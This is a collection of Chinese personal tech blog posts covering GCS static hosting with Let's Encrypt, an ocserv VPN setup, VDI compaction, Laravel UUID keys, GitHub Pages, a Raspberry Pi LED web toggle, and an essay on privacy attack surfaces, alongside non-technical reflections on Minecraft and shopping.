如同《娱乐致死》一书中写到,社会发展的最终走向便是娱乐化,也如《浅薄——互联网如何毒害我们的大脑》中所描述,现在科技让我们的专注力越来越弱,从 Minecraft 第一次发售到现在过去了 7 年,面对新的用户群体们 Mojang 也不得不加入一些更加不需要费脑子的元素(比如游戏内合成台),个人感觉破坏了 Minecraft 中一个很重要的一环——探索和发现,现在的 MC 也已经充满铜臭味了,当一个游戏的初衷被恶意歪曲为金钱至上,一个信仰被强行推倒并被定义为企业获取利益的工具,我的世界被肆无忌惮地归结为网游的时候,记忆中的那种感觉也就逐渐随之而去了。
前一段时间,由于失误,不小心删除了本地 Minecraft 的所有文件(客户端,服务端,地图,存档).

一开始还想过是否要通过一些数据恢复工具找回那些回忆,后来仔细想来,或许是因为保留着之前的 Minecraft 存档文件让我慢慢变得喜欢活在回忆当中,喜欢一遍遍通过回忆历史发生过的美好事情来获取一些宽慰,让我不敢向前,不敢去继续创造美好的事情,去探索这个屏幕背后真实的世界。
或许是该向前迈一步了。
]]>首先概括一下自己对于购买产品的思路:
以下稍微展开:
在购买一个物品前我们首先需要的是对这个物品进行一个分类:
从依赖程度开始聊吧,譬如对于一个非音乐爱好者,对于音质的需求几乎仅限于闲暇之余听个响,那么他在考虑购买音频设备(耳机,耳放等)的时候是否需要选择一些十分昂贵的品牌呢?或者就一个大众化的 200 元以内的耳机就行了呢?对于这个问题,我多次见到一些同学对音质没有真实的需求(比如总是听些原生就音质很差的音乐),但是总是购买昂贵音响设备,排除掉对外显摆的需求而言,可以直接判断,这个钱花得不值。 同理,如果一个需要经常修图的人,一定是对显示器色彩及表现有着较高要求的,如果就随意网上一搜,买了一个大众化的"24 英寸 台式 ps4 电脑液晶吃鸡游戏 IPS 超薄无边框显示屏幕 hdmi 笔记外接 1080P"的话… 心态会是毁灭性的

图为某同学随意选了一个显示器后发给我的对比图,左边为 ThinkPad X1 Carbon 屏幕,右边就是有着类似上述名称的某销量很大的显示器,可以看出颜色发黄,黑色部分偏白,无意批判某个品牌,只能说这样的显示器实在无法满足修图的日常需求。
是否长期使用其实与依赖程度有着一定的关联,以我个人为例,平时除了浏览网页,操控虚拟机以外长期使用终端工作,目前使用的鼠标为买电脑时自带的一个无线鼠标,也是被同学“批判”说延迟高,不好看,功能键太少等,但是对于我的日常使用需求而言,这样的鼠标完全够用,则没有必要花更多的钱去购买自己不需要的特性。
同理,对于手机,我将其定性为通讯工具(而非娱乐产品),作为一个通信工具我看重的特性为:高可靠(不能动不动就循环卡 Logo),长续航(一天两充就没法接受了),不易损坏(手一滑掉地上直接跪了的也没法考虑),保护通讯录等隐私,综上我选择了 BlackBerry Passport,并且只有黑莓自带的一些软件,满足真正的“通讯”需求。
对于电脑这类生产力工具,要求就会严格许多,比如长续航,无独立显卡(没有游戏和重度图形处理需求),轻便,耐艹,也是选择了 ThinkPad 的原因,虽然贵,为此等了很久,但是依然是等钱攒够了自己购买而非随意选择一个其他廉价的不符合使用需求的电脑。
我不买 X,Y,Z 企业产品,因为 X 企业的产品不好看,Y 企业的电视开机自带广告没法接受,Z 企业由于 GDPR 导致某产品在欧盟无法继续运营,对于用户隐私保护无下限。
当然有人可能会说,有的时候需要考虑经济性啊,一个 Z 的路由器和一些大厂的配置差不多,价格便宜太多… 这里就体现到分类的必要性了,如果资金不够但强依赖,那么的确可以酌情考虑,否则,与我而言,宁可等资金到位了购买自认为可靠的产品,至少别买那些会把自己卖掉的产品吧。
不清楚是否是一个普遍现象,一些人挑选商品的逻辑如下:比如要买台电脑,购物网站一打开,输入价位,搜索电脑,看看第一页上的几个,然后结合自己审美看看评论,感觉评论好的就差不多定下来了。

几年前我买电脑就是这样的…
为什么不应该去看评论,首先,在通用的购物网站(而非对于某类产品专门设立的网站)上面的大多数产生评论的消费者可能【不代表】对一个商品的真实认识,当你想买一台用来作图形处理的电脑,看到的评论评论全是“开机速度很快,游戏一下就打开了”,或者你想买一台空调,评论中是“安装工人十分辛苦,家里没电梯空调都是人工抬上来的”之类,是不是很无语,因为通过看评论不仅完全得不到你对你想买的商品的你需要的特性 / 功能的认识,反而会带偏你对一个商品属性的真实考量(如上例中安装工人的态度与实际商品——空调的质量没有任何关联),毕竟,大多数人还在“听个响”阶段。
此外,对于一些专业相关的产品注定销售量和评论数量会远小于某些“爆款”,一味专注“分析”评论(数量,好评度)没有任何价值。
]]>本文假设:
除非希望托管一个 HTTP 的网站,否则一个证书是必不可少的,Google 不会帮你自动完成这一步。
有多种方式可以获取一个 SSL 证书,如果目前手头没有的话,我们通过 Let’s Encrypt 申请一个好了,首先获取 certbot:
$ git clone https://github.com/certbot/certbot.git
$ cd certbot
由于我自己的一些原因(在迁移前域名解析到 GitHub Pages 上的,不能通过改变解析的方式验证,否则会造成博客访问中断),这里我使用了 DNS 的方式进行获取:
$ ./certbot-auto certonly --manual --preferred-challenges=dns --email [email protected] --server https://acme-v02.api.letsencrypt.org/directory --agree-tos -d nova.moe
题外话:如果上述域名写成 “*.nova.moe” 的话即可获得一个 Wildcard 证书,不过呢,那个证书无法被用于 nova.moe 这个裸域,只能被用于 nova.moe 的二级域名。
之后会看到一个修改域名 TXT 记录的要求,类似如下:
Please deploy a DNS TXT record under the name
_acme-challenge.nova.moe with the following value:
J50GNXkhGmKCfn-0LQJcknVGtPEAQ_U_WajcLXgqWqo
此时我们只需要做一个 _acme-challenge 的 TXT 解析,内容为上述的 J50G...qo 即可。
如果没有遇到的问题的话我们就可以看到生成好的证书信息,类似如下:
IMPORTANT NOTES:
- Congratulations! Your certificate and chain have been saved at:
/etc/letsencrypt/live/nova.moe/fullchain.pem
Your key file has been saved at:
/etc/letsencrypt/live/nova.moe/privkey.pem
此时通过任何你喜欢的方式把 fullchain.pem 和 privkey.pem 下载到自己本地。
新建一个 Storage 容器,名称就是你希望的域名(比如我这里就是 nova.moe)

由于是对外提供内容的网站,我们需要把 Public Access 设置为 Public 并且为网站配置优化,具体方法如下:

点击最右边的选项,选择 Edit bucket permissions,添加一个 allUsers 账户,权限为 Storage Object Viewer
还是那个选项,选择 Edit website configuration,按照如下填入 index.html 和你的站点 404 页面(比如我的就是 404.html)

注意,这里不要参考 《挂载 Google Storage 到 VPS 文件系统》,挂载到本地目录后上传,因为这样会导致文件的 meta 信息错误,导致本来该渲染为图片的地方变成了 octec-stream,本来该是网页的地方变成了 octec-stream ,本来… 然后访问任何页面都是弹出一个下载框了。
正确方法是使用 gsutil 来上传,语法如下:
$ gsutil cp -r dir gs://my-bucket
其中 dir 就是源目录,假设我的博客放在 /var/www/nova.moe/ 目录下 ,my-bucket 是目标 Storage 桶地址,比如我的就是 gs://nova.moe,整理一下就是:
$ gsutil /var/www/nova.moe/* -r dir gs://nova.moe
可能有同学想到这里如果用 gsutil rsync 的话会不会更好一些,毕竟有增量同步之类的。
不是这样的,这样做的话即不能保留 meta 信息,也不会增量同步,相关描述如下:
Note that by default, the gsutil rsync command does not copy the ACLs of objects being synchronized and instead will use the default bucket ACL (see gsutil help defacl).
The gsutil rsync command copies changed files in their entirety and does not employ the rsync delta-transfer algorithm to transfer portions of a changed file. This is because cloud objects are immutable and no facility exists to read partial cloud object checksums or perform partial overwrites.
如果不幸已经上传了一些文件,想要快速全部删除掉(当然,不删除桶)的话,使用:
$ gsutil rm gs://nova.moe/**
具体的 gsutil 相关指令见参考链接。
创建一个 HTTP/HTTPS 的 Load Balancer,Backend 创建一个 Backend Bucket,选择刚刚创建的 Storage 桶并勾选 Enable Cloud CDN:

Frontend 那一块选择 HTTPS:

然后导入 SSL 证书,其中 Public Key 和 Chain 全部上传 fullchain.pem, Private Key 就上传 privkey.pem :

创建好了之后有一个 Overview,类似如下:



这样子做的话,每次更新站点的同步也是一个问题,尤其是对于像我这样的 Hexo 用户而言,本地不想安装 SDK,传完文件后手动上服务器 gsutil cp 会很麻烦。
Google Cloud Platform 的 Load Balancer 并不能做 Force SSL,也就是说如果在 HTTPS 只选择了 443 端口的话,用户未添加 https:// 前缀的情况下访问的返回会是 404,如果同时也添加了 80 端口的话,直接访问也不会自动跳转到 https 上面。
一个比较大众化的解决方案是开一个 Compute instance 监听 80 端口专门用来做 SSL 重定向,但这样便失去了便捷性同时也会导致价格无意义地升高(无脑猜测 Google 团队到现在还不提供这个功能是有一定动机的,关于这个的 issue tracker:Redirect all HTTP traffic to HTTPS when using the HTTP(S) Load Balancer 从 15 年到现在还没有一个正式的答复),另一个思路是将域名加入 Preload List,但是现在的网站结构似乎并不能上 List,目前我正在寻找一个更加可靠的解决方案并不定期更新本文,相关更新会优先在 Twitter 上通知,欢迎关注。
2018-08-16 更新:最终我还是选择了新建一个 Compute instance 的方式解决(可以参考:利用 GCE 建立一个 Anycast 网络,超快的香港节点,Google Cloud CDN),Nginx 配置中稍微需要注意一下,Google CDN 会给后端传一个 X-Forwarded-Proto ,鉴于 Google CDN 的 SSL 只到边缘服务器就截止了(其实还是一个 Half-baked SSL),所以后端 Nginx 还是监听在 80 端口的,如果需要 SSL 重定向的话,需要加入以下内容:
if ($http_x_forwarded_proto = "http") {
return 301 https://$host$request_uri;
}
本文于 2019-02-21 更新,修改了关于申请 SSL 证书的章节。
Wikipedia 上描述 OpenConnect 如下:
OpenConnect is an open-source software application for connecting to virtual private networks (VPN), which implement secure point-to-point connections.
It was originally written as an open-source replacement for Cisco’s proprietary AnyConnect SSL VPN client,[2] which is supported by several Cisco routers. As of 2013, the OpenConnect project also offers an AnyConnect-compatible server,[3] and thus offers a full client-server VPN solution.
可以简要地看出,OpenConnect 原本是由于 AnyConnect 有只能运行在 Cisco 设备上限制而开发出来的一个多系统支持的开源 VPN 实现方式,属于 SSL VPN,需要一个有效的 SSL 证书。
本文实行简单粗暴的原则,记录了一个 Ubuntu 服务器最小化搭建 ocserv(OpenConnect 服务端) 服务的过程,所以:不使用证书登录验证(使用用户名 + 密码组合),SSL 使用 Let’s Encrypt(而非网上许多文章所介绍的自签发)。
可能有些小伙伴看到本文长度会问了,为什么要搞这么复杂?直接 ss-server 或者 OpenVPN 一键脚本安装不好么?
原因有三:
本例中:
2018-09-12 更新:如果 80 端口被占用了可以考虑使用 DNS Challenge 的方法获取 Let’s Encrypt 证书,相关步骤可以参考 《使用 Google Cloud Platform 的 Storage 托管静态站点并通过 Google CDN 加速》
网上许多方法都是通过手动编译源代码包的方式安装,然而现在至少对于 Debian 系的系统来说已经有了编译好的软件包了,详情见 Distribution Status,对于 Debian 系服务器来说(比如本例的 Ubuntu)直接一条指令即可(非常感谢维护这个包的:Aron Xu,Liang Guo 和 Mike Miller):
$ sudo apt install ocserv -y
之后我们需要打开系统的转发功能,在 /etc/sysctl.conf 中加入如下行:
net.ipv4.ip_forward=1
通过
$ sysctl -p
保存。
打开 NAT 功能:
# iptables -t nat -A POSTROUTING -j MASQUERADE
ocserv 需要 SSL 证书(用来加密连接流量,保证连接安全,放心,这一步不复杂),网上许多教程中使用的是自签发证书,方法复杂且容易被 MITM 攻击,好在现在有 Let’s Encrypt 可以免费为自己域名添加证书,本例中使用 certbot 来获取一个 Let’s Encrypt 证书。
下载certbot,方法很多,在本例中为:
$ sudo apt-get update
$ sudo apt-get install software-properties-common
$ sudo add-apt-repository ppa:certbot/certbot
$ sudo apt-get update
$ sudo apt-get install certbot
其他系统请参考 Certbot 官方网站。
这一步比较 Tricky,请仔细阅读:certbot 获取 SSL 证书有多种方式,例如它可以在你机器上起一个临时的网页服务器,并且让自己的 Authority 来尝试连接临时服务器用来确认你机器的所有权,也可以通过 DNS 设置 TXT 记录的方式来验证,以下方式使用的是开一个临时服务器的方式来获取,如果希望通过 DNS 修改 TXT 记录的方式获取,请参考《使用 Google Cloud Platform 的 Storage 托管静态站点并通过 Google CDN 加速》一文中的“获取 SSL 证书章节”。
此外,有热心读者指出:ocserv 程序在安装后会使用 443 端口导致开启临时网页服务器的时候失败,读者给出的建议如下:
在进行
certbot获取证书之前,先以管理员权限修改/lib/systemd/system/ocserv.socket配置文件,将其中的两个443端口号修改为其他未被占用的端口号后,再运行certbot即可,这样做的好处是,可以利用certbot的自动证书续期功能。另外,
/lib/systemd/system/ocserv.socket中指定的端口号无需与/etc/ocserv/ocserv.conf中的端口号保持一致。在使用 OpenConnect 或者 AnyConnect 客户端时,使用在/lib/systemd/system/ocserv.socket中指定的端口号即可。
非常感谢这位读者的邮件,欢迎大家在测试的时候进行尝试~
$ certbot certonly
会看到:
Saving debug log to /var/log/letsencrypt/letsencrypt.log
How would you like to authenticate with the ACME CA?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
1: Spin up a temporary webserver (standalone)
2: Place files in webroot directory (webroot)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Select the appropriate number [1-2] then [enter] (press 'c' to cancel):
由于我们仅仅是想要一个证书,这里选择 1,让 certbot 来搞定证书获取的过程,之后输入自己的域名,比如本例中的 vpn.example.com ,稍等片刻应该可以看到类似如下的输出(记住证书存放的地址,后面会用到):
IMPORTANT NOTES:
- Congratulations! Your certificate and chain have been saved at:
/etc/letsencrypt/live/vpn.example.com/fullchain.pem
Your key file has been saved at:
/etc/letsencrypt/live/vpn.example.com/privkey.pem
Your cert will expire on 2018-11-11. To obtain a new or tweaked
version of this certificate in the future, simply run certbot
again. To non-interactively renew *all* of your certificates, run
"certbot renew"
默认安装好后在/etc/ocserv/下有一个很长的配置文件ocserv.conf,着重注意以下配置字段:
# 登录方式,使用用户名密码登录,密码文件稍后生成
auth = "plain[/etc/ocserv/ocpasswd]"
# 允许同时连接的客户端数量
max-clients = 4
# 限制同一客户端的并行登陆数量
max-same-clients = 2
# 服务监听的 TCP/UDP 端口(默认为 443)
tcp-port = 443
udp-port = 443
# 自动优化 MTU,尝试改善网络性能
try-mtu-discovery = true
# 服务器证书与密钥,就是上一步中生成的证书和私钥的位置
server-cert = /etc/letsencrypt/live/vpn.example.com/fullchain.pem
server-key = /etc/letsencrypt/live/vpn.example.com/privkey.pem
# 服务器域名
default-domain = vpn.example.com
# 客户端连上 vpn 后使用的 DNS,这里使用 Cloudflare 的 1.1.1.1
dns = 1.1.1.1
# 注释掉所有的 route 和 no-route,让服务器成为 gateway
#route = 192.168.1.0/255.255.255.0
#no-route = 192.168.5.0/255.255.255.0
# 启用 Cisco 客户端兼容性支持
cisco-client-compat = true
由于使用用户名密码登录,我们需要生成一个密码文件,指令如下:
$ ocpasswd -c /etc/ocserv/ocpasswd <用户名>
此时会要求你输入两边密码,如果需要再添加用户只需重复上述指令即可。
配置好后启动 VPN:
$ ocserv -c /etc/ocserv.conf
确认已经开启:
root@vpn:/etc/ocserv# netstat -tulpn | grep 443
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 1987/ocserv
tcp6 0 0 :::443 :::* LISTEN 1987/ocserv
udp 0 0 0.0.0.0:443 0.0.0.0:* 1987/ocserv
udp6 0 0 :::443 :::* 1987/ocserv
配置好 VPN 后让自己的所有服务器全部拨上 VPN:
# openconnect https://vpn.example.com/
对于个人用户访问,这里以黑莓 Passport 为例(请无视那个现在并不存在企业名称),截图如下:

拨通后可以看到自己的内网 IP :

然后,开始在 VPN 的保护下畅游自己的大内网吧~
如果直接用浏览器去访问 VPN 网关(比如本例中:https://vpn.example.com)的话,返回的是如下 HTML 内容:
<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="vpn" type="auth-request">
<version who="sg">0.1(1)</version>
<auth id="main">
<message>Please enter your username.</message>
<form method="post" action="/auth">
<input type="text" name="username" label="Username:" />
</form></auth>
</config-auth>
此外如果开启了 ocserv 之后在 sudo 的时候卡住并提示:“sudo: unable to resolve host vpn: Resource temporarily unavailable” 的话,着重关注一下自己的/etc/hosts文件中是否包含一行:
127.0.0.1 localhost

这样对于虚拟机文件的备份、存储和转移而言就非常不利,所以我们需要对 VDI 文件进行 “压缩”.
首先简要提一下网上都能查到的且可用的方法,对于我这种情况 (Host 为 Linux,Guest 为 Windows) 的用户而言其实很简单,就以下几步:
sdelete.exe c: -z 来将 C 盘空余空间清零(我就一个 C 盘)vboxmanage modifymedium --compact /path/to/vbox.vdi 对 vdi 文件进行清理如果你的系统配置和我的不一样的话,看一下文末的第二个参考链接很快就能知道该如何做了。
方法简单易用,但是仅仅可用肯定不行啊,我们得知道为什么要那么做,以及这个方法可用的原因,首先我们看看第 4 个指令 --compact 的含义,重点部分已加粗:
The –compact option can be used to compact disk images, i.e.remove blocks that only contains zeroes. This will shrink a dynamically allocated image again; it will reduce the physical size of the image without affecting the logical size of the virtual disk. For this operation to be effective, it is required that free space in the guest system first be zeroed out using a suitable software tool.
我们先看一下 SDelete 前后的磁盘碎片分析

似乎从碎片上看不出什么不同,遂决定 --compact 一下后对文件进行分析

由于文件太大我的电脑内存不够,不能直接分析整个文件,所以 将 vdi 文件进行切片,使用指令
# compact 前
split --bytes=10M /path/to/VM.vdi /tmp/before/thunder-
# SDelete + compact 后
split --bytes=10M /path/to/VM.vdi /tmp/after/thunder-
此时使用 teaearlgraycold/binimage 对随意一个文件,本文使用 thunder-cl 分卷进行可视化:
./binimage-linux-amd64 before/VM-cl before.png --width=1920
观察 thunder-cl 分卷在 SDelete+compact 前后的图片
Before
After
从图片中我们可以简要看出,在 SDelete 并且 compact 之后文件中的洞 (Zerod-Block,也就是纯黑色的部分) 多了一些,不过这依然不能揭示具体的原理,我们换个角度试试~
For more flexible storage management, use a dynamically allocated image. This will initially be very small and not occupy any space for unused virtual disk sectors, but will grow every time a disk sector is written to for the first time, until the drive reaches the maximum capacity chosen when the drive was created. While this format takes less space initially, the fact that VirtualBox needs to expand the image file consumes additional computing resources, so until the disk file size has stabilized, write operations may be slower than with fixed size disks. However, after a time the rate of growth will slow and the average penalty for write operations will be negligible.
通过 VirtualBox 官方的介绍我们得知,对于一个 “dynamically allocated image”,或者说动态的磁盘卷(也是一个稀疏文件),在创建之初占用的空间会非常小,但是每当有磁盘的写入操作的时候,整个卷文件的大小就会增加,换言之,只要在 Guest OS 中有文件 IO 操作,无论是移动文件还是写入新文件,都会导致整个卷文件大小增加,且不可直接逆转,此外,对于动态分配的磁盘卷来说,当达到了它的最大设置容量之后,写入速度会变得比固定大小的卷要慢,估计是整理卷文件前面部分的可以被释放的空间并写入新的数据。
对于稀疏文件的压缩,通常采用的是打洞的办法,由于我不熟悉那个领域,这里就不展开了,有兴趣的读者可以参考第四个参考链接或自行 Google.
通过本文我们可以简要得出一些在使用 VM 上的建议:
用 php artisan make:auth 出来的用户表使用的自增的 id 作为主键,验证时使用 email 字段作为用户的 “登录名”,然而我并不希望使用一个自增的 id,而是使用 UUID 作为用户主键,user_email 作为 “登录名”,user_password 作为保存的密码。
对于刚入学时候的萌新开发者来说设计出来的啥数据表都是一个自增 id 主键,根本就不知道 UUID,现在使用上了 UUID 就顺便科普一下啥是 UUID 以及用它有什么好处。
UUID 全称是 Universally Unique Identifier,是一个 128 位的标识符,对外显示是使用 32 位 16 进制的 8-4-4-4-12 位数形式,类似:123e4567-e89b-12d3-a456-426655440000,有一个在线生成 UUID 的网站 Online UUID Generator,读者有兴趣不妨去玩玩~
一般而言主流使用的是 Version 1 和 Version 4 的 UUID,前者使用电脑硬件 MAC 地址,时间戳作为种子,而后者则是完全随机的一个生成过程。
既然使用 UUID 作为主键,虽然不像一个自增的 id 那样看上去那么 low,但是还是要考虑碰撞概率问题,毕竟主键撞一下还是爽歪歪的。
UUID 使用的是 122 位的熵,两个 UUID 撞上的概率大约为 10^-37,如果需要找到 p 个碰撞的 UUID 的话,至少需要生成的个数可以由以下公式得出:
所以从理论上来说在使用 UUID 的时候一般不会发生碰撞的事情,但是个人感觉碰撞概率的大小要取决于用的软件,比如 OpenSSL 版本之类的。
使用 UUID 有什么好处呢?先说说表面上的
submission/23/info 会怎么想?哦,原来这个平台也就这么点用户数,我才排到 23 呢,而如果使用了 UUID,则可能会是 submission/840142f2-b248-461c-b16d-2589d03ea028/info 就完全不会表现出具体的一个排位数量情况,当然,实际实用的时候应该还是 SHA256 然后截取个前 16 位比较看上去舒服一些,类似 /submission/2e555c22d95bae14/info,不过这个就不在本文探讨范围内了。然后是实质上的
对于大型的系统而言,用 UUID 标识一些内容对于统一化而言非常好,类似商品的条形码,如果使用自增的主键的话,长短不一,看上去和 QQ 号一样没品位。
对于分布式系统而言,UUID 可以保证防止出现 id 碰撞,符合分布式系统 CAP 原则的 C(Consistency,强一致性).
数据结构老师告诉我们,没有任何一种数据结构是全场景最优的,所以这里也要提一下使用 UUID 作为主键的缺点
综上,我们可以很容易想到 UUID 在一些大量的,不需要排序,需要统一化长度的场景中比较适用,如 OJ 的每个用户的提交,商品的唯一标识码等。
如果不考虑用户表(因为 Laravel 自带的 Auth 很大程度上依赖了自带的数据库表字段)的话,我们要使用 UUID 作为一个表的主键其实非常容易,大致思路如下(使用 webpatser/laravel-uuid)
安装 UUID 类
$ composer require webpatser/laravel-uuid
在 config/app.php 中声明这个类,加入如下行:
'Uuid' => Webpatser\Uuid\Uuid::class,
That’s it! 在需要 UUID 字符串的地方 $uuid = Uuid::generate(4)->string; 就好了~
如果你需要在数据表中使用 UUID 作为主键的话,有以下几个事情要做:
$table->primary('new_pk');
$table->uuid('new_pk');
protected $primaryKey = 'new_pk';
public $incrementing = false;
create 操作时可以自动创建 UUID 的主键,我们可以重写一下 boot 函数,其中 {$model->getKeyName()} 是用来获取你的主键名称的,在 Model 中:public static function boot()
{parent::boot();
self::creating(function ($model) {$model{$model->getKeyName()} = (string) Uuid::generate(4);
});
}
记得在对应的 Model 顶部加入:
use Webpatser\Uuid\Uuid;
这样的话,我们的数据表在新写入数据的时候便会自动生成一个 UUID 作为表的主键了。
如果在用户表中使用了 UUID 的话,事情就会稍微麻烦一点,而对于我的需求 (用户密码字段名称也改了) 的话,就更加麻烦一些了,除了上述操作以外还需要:
user_email,在 app/Http/Controllers/Auth/LoginController.php 中加入如下:public function username()
{return'user_email';}
user_password,在 User.php 这个 Model 中:public function getAuthPassword()
{return $this->user_password;
}
resources/views/auth/login.blade.php 中将 email 相关全部改为新的 “登录名”,对于我的需求就是改成 “user_email”.以上。
但是对于一些初学者而言,这么做可以在一个比较安全的环境下学习 Git,而对于老师而言,在绝大多数同学不会 Git 的情况下,会 Git 的同学也可以作为一个加分项嘛。
本文假设:
此外,由于受众【不是】熟悉 GitHub 的同学,所以可能看上去会比较啰嗦。
网上有很多关于在 GitHub 上面托管的文章,但是看了一下很少有在 Github 切换 CDN 之后的文章,简单来讲,那次更新的部分如下:
GitHub 并不提供一个像 FTP 一样的 “静态空间”,而是提供一个个 Git 仓库,GitHub Pages 功能便是将仓库中的 HTML 文件提供对外访问的功能,和大多数的服务器默认配置一样 ** 默认首页是 index.html,默认 404 页面是 404.html**
首先我们创建一个仓库吧,公有私有都是可以的,名字随意,比如我已经创建了一个叫 cqjtu.online.landing 的仓库:

由于我这个是已经创建好了的,所以界面细节上可能有点不太一样,不过没有任何问题。
然后把我们的文件给 “传” 到 GitHub 上面去:
mkdir website # 在自己电脑上创建一个文件夹 (名字随意)
cd website
git init
git config user.name "<GitHub 用户名>"
git config user.email "<你登录 GitHub 的邮件地址>"
git remote add origin <GitHub 仓库的地址,比如我的就是 `https://github.com/n0vad3v/cqjtu.online.landing`>
# 此处将你的 HTML 文件放到这个文件夹中,方法不限
echo -n "<你的域名>" > CNAME # 如果你需要自己的域名的话需要这一步,否则可以省略
git add .
git commit -m "Update Website" # 在本地 Commit
git push origin master # 提交到 GitHub 上
接下来在上面的 Setting 中找到 GitHub Pages 那一栏,启用 GitHub Pages,默认使用的 master 分支,不过那暂时不重要,底下是否使用自己的域名视个人情况而定,如果你有自己的域名,可以写上 (** 注意,带 www 的和不带 www 的是两个东西哦,比如我写的是 cqjtu.online,那么一般来讲 www.cqjtu.online 就与这个无关了 **).

好了,GitHub 这边已经完成了,如果不需要自定义域名的话你就可以通过 <你的用户名>.github.io / 仓库名 访问了,什么?你不想要那 “/” 后面的部分?那把仓库改名为 <你的用户名>.github.io 吧。
如果你有域名并且希望用自己的域名的话,这一步也很简单,做一个对应的 CNAME 记录到 <你的用户名>.github.io 即可,举几个例子 (我的用户名为 n0vad3v):
@ 的 CNAME 记录到 n0vad3v.github.io,从 CloudFlare 面板中看上去如下:
www 的 CNAME 记录到 n0vad3v.github.io顺便澄清一些误区啊,GitHub 对于网站托管还是有一些限制的,首先它并不像网上说的是无限流量的:

而是:
GitHub Pages source repositories have a recommended limit of 1GB(仓库大小不建议超过 1G) . Published GitHub Pages sites may be no larger than 1 GB. GitHub Pages sites have a soft bandwidth limit of 100GB per month(每个月流量不超过 100G). GitHub Pages sites have a soft limit of 10 builds per hour(如果有自动构建的话,每小时不超过 10 次).
虽然是 soft limit,偶尔超一下没什么问题,但是如果超得过分离谱或者你的站被 DDos 的话,还是可能收到来自 GitHub 的邮件,如果你有什么容量很大或者流量很大的网站需要托管的话,可以考虑邮件 联系 我,哈哈~
另外,GitHub Pages 可以作为一个 “免费的静态资源 CDN” 来用,比如你放一些 css,js 或者图片 (别搞盗版权图片,会被 DMCA) 在上面在某些层面上可以用来加速,当然如果仅仅是这个需求的话,普通的 GitHub 仓库 + rawgit.com 似乎会更加便捷一些 (就是被墙了而已…)
最后,合理使用 GitHub,Happy Hacking!
]]>Allen 同学一直说想做智能家居方向的东西,但是半个学期过去了也不见他有什么起色,遂从他那儿偷了两根杜邦线,自己来玩玩。
连接信息:GPIO(4) -> 电阻 -> LED -> GPIO(5)(GND)
用 PHP 弄了个简易的 WebUI,按了按钮之后就调用同目录下的 Python 脚本 led4on.py
led4on.py
from gpiozero import LED
from signal import pause
from time import sleep
l = LED(4)
l.on()
pause()
index.php 部分代码:
<div class="container">
<h1 class="m-100">RPI</h1>
<hr>
<form action="index.php"method="post">
<input type="hidden"name="status"value="on"class="form-control">
<button class="btn btn-lg btn-primary btn-block"input type="submit"> 开灯 </button>
</form>
<br>
<form action="index.php"method="post">
<input type="hidden"name="on"value="off"class="form-control">
<button class="btn btn-lg btn-primary btn-block"input type="submit"> 关灯 </button>
</form>
<br>
<form action="index.php"method="post">
<input type="hidden"name="on"value="blink"class="form-control">
<button class="btn btn-lg btn-primary btn-block"input type="submit"> 闪!</button>
</form>
<?php
if($_POST['status'] =="on")
{$tmp = `python3 led4on.py`;}
else if($_POST['status'] =="off")
{$tmp = `python3 led4off.py`;}
else if($_POST['status'] =="blink")
{$tmp = `python3 led4blink.py`;}
?>
</div> <!-- /container -->
这样就实现了一个非常非常简易的(且 Broken)的 IoT 设备了。
已知问题:
l.on() 之后灯只会闪一下,如果加了 pause() 的话脚本就会挂起并且没法正常处理关灯的指令,不过仅仅是一个 PoC 而已,暂时还不需要考虑这么多。这简直一点技术含量都没有啊,Allen 你平时在做什么…
]]>
但是如果使用 Firefox 自带的 Print to file 通过 Print 自带预览页面的话,会出现奇怪的问题 (页面断开,出现空白页面,文字显示不全),截图如下:
这个是自带的 Preview
这个是 Print 出来的效果
参考了网上的资料并结合 我自己的配置 情况来看,在我的电脑上只需要修改 /usr/lib/python3.6/site-packages/nbconvert/templates/latex/article.tplx 文件即可,在原有的 \documentclass[11pt]{article} 下方加入两行 (当然,记得安装相关的包,可以参考我的配置方式):
\documentclass[11pt]{article}
\usepackage{xeCJK} % 引入之前安装的 xecjk 包
\setCJKmainfont{SourceHanSansCN-Light}
在考虑如何按照网上的回答构建自己的假身份,加密网盘内容,删社交网络动态前,我们首先需要考虑的一个问题是,我们能相信谁? 因为只有系统地了解了信息泄漏的各个层次后我们才可能完美的防御,否则胡乱地按照某些方法照做的话达不到我们希望的效果。
首先我们来考虑攻击面 (Attack Surface) 的概念,设想有这么个场景: 假设我有一个女朋友 (实际上我没有),且这个女朋友怀疑我和其他女生有不一般的关系想找到相关证据,那么她有多少途径? 其中 “途径” 就是这一部分要聊的攻击面的概念,假设我用 Telegram 联系其他女生,为了方便起见,我在电脑和安卓手机上都登录了 Telegram,对于女朋友而言她就至少有两种方式可以得到我 Telegram 的聊天记录:手机和电脑,如果我有更多的设备 (比如还有个平板) 的话显然途径就更多,稍微专业点来说就是:攻击面更广。 一般来说攻击面是符合木桶效应的,我的电脑有 BIOS 密码,后盖开启检测,硬盘被拆卸检测,基于 Luks 的全磁盘加密 (FDE),还有一个 32 位长的系统开机密码,而我的手机呢?就只有一个我和 (并不存在的) 女朋友都知道的 Pattern(就是那个 9 个点画图案的那个) 解锁,如果你是那个女朋友,你会选择哪一种方式来找出聊天记录呢?
简单来说,攻击面越广,就越容易被攻破,攻击面的安全性 ** 不是 ** 防御最强的部分,而是防御最弱的部分。
有了攻击面的概念后我们就可以来细数一下对于 “隐私泄漏” 而言,我们的被攻击面有哪些呢?出于省事起见,随意引用几个网上的答案 (案例):
就收到个包裹,是你的名字,是你的电话,是你的家庭住址,寄信人是你孩子的地址和名字,到付。 所有家里有车的人几乎都会不间断的收到保险推销、二手车置换和其他相关的骚扰电话,显然是车管所或者保险公司把你的信息泄漏了 有一天去看房子因为确实有些动心所以留了电话给中介,结果是接下来的一个多月里每天都接到形色男女的问候电话,内容有介绍房子、投资商铺、境外消费、朋友被抓、老乡追债,以及几十个被标记为诈骗的未接电话。
从上面回答来看,我们不能相信:买房中介,考研机构,因为他们会主动卖掉我们的信息,我们也不能相信车管所 (假定我们善意地推定车管所的信息是被骇客门偷走后卖给保险公司的),因为他们的信息会丢。 这样来看我们至少就有两类机构不可相信,一类是会主动卖我们的,除了上述以外还有一些不入流的聊天工具 (某些用过的人应该知道),留学机构,要求填自己信息的广告,某些你填了信息就给你送礼物的购物平台啊之类的,另一类是自身安全手段做的不够好的,除了上述以外,还有最近爆出来的 Acfun,之前的 12306,163 啥的 (所以并不一定是大厂都可信呐)…
